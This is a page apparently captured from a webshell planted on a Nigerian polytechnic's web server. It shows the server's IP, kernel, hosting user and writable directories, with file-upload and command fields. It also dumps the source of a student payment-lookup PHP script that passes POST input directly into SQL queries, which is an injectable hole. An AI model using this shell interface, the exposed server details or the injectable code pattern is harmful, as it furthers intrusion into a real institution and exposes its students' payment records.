403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.71.120.136
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/stdPayALL_process.php
<?php
require_once('headMain_sidebar.php');
?>

<?php
extract($_POST);
require_once('../connect.php');
$db=db_connect();
$sql1="select * from remitaorder where `orderID`='$serial' or remitaRRR='$serial' and transApproved='True'";
$result1=$db->query($sql1);
$num=$result1->rowCount();
$result1_fetch=$result1->fetch(PDO::FETCH_BOTH);
//echo $num;
if ($num>0){
    ?>
    <fieldset>

        <legend><h2>Payment Details</h2></legend>
        <table width="100%" cellspacing="5" cellpadding="3">
            <tr>
                <td width="52%"><strong>Receipt Number</strong></td>
                <td width="48%"><?php echo $result1_fetch['orderID'];?></td>
            </tr>
            <tr>
                <td><strong>Paid By</strong></td>
                <td><?php echo $regNo = $result1_fetch['regNo'];
                    echo ' <b>(';

                    $result = $db->query("select * from realdata where matNo='$regNo' or formNo='$regNo'");
                    if ($result->rowCount() > 0) {
                        $name_fetch = $result->fetch(PDO::FETCH_BOTH);
                        echo $name_fetch['names'] . ')</b>';
                    } else {

                        $result = $db->query("select * from otherpayment where idNo='$regNo'");
                        if ($result->rowCount() > 0) {
                            $name_fetch = $result->fetch(PDO::FETCH_BOTH);
                            echo $name_fetch['names'] . ')</b>';
                            echo "<div style='color: red'>Note: Not an Active Student</div>";
                        }
                    }
                    ?></td>
            </tr>
            <tr>
                <td><strong>Amount</strong></td>
                <td><?php echo $result1_fetch['amtPaid'];?></td>
            </tr>
            <tr>
                <td><strong>Date </strong></td>
                <td><?php echo $result1_fetch['transDate'];?></td>
            </tr>
            <tr>
                <td><strong>Payment Description</strong></td>
                <td><?php echo $result1_fetch['paymentType'];?></td>
            </tr>
            <tr>
                <td><strong>Remita Retrieval Reference </strong></td>
                <td><?php echo $result1_fetch['remitaRRR'];?></td>
            </tr>
        </table>
    </fieldset>
<?php
}else{
    echo 'Payment Has not Been Made';
}

?>
    <div align="left"><a href="javascript:history.go(-1)" style="font-size: 18px"> Go to Previous page</a></div> <hr>
			
			<!-- InstanceEndEditable --></td>
            <td align="right" valign="top"><!-- InstanceBeginEditable name="EditRegion4" --><!-- InstanceEndEditable --></td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
    </table></td>
  </tr>
</table>
<p>&nbsp;</p>
<script type="text/javascript">
var MenuBar1 = new Spry.Widget.MenuBar("MenuBar1", {imgDown:"../SpryAssets/SpryMenuBarDownHover.gif", imgRight:"../SpryAssets/SpryMenuBarRightHover.gif"});
</script>
</body>
<!-- InstanceEnd --></html>
<?php
include('footMain.php');
?>

Youez - 2016 - github.com/yon3zu
LinuXploit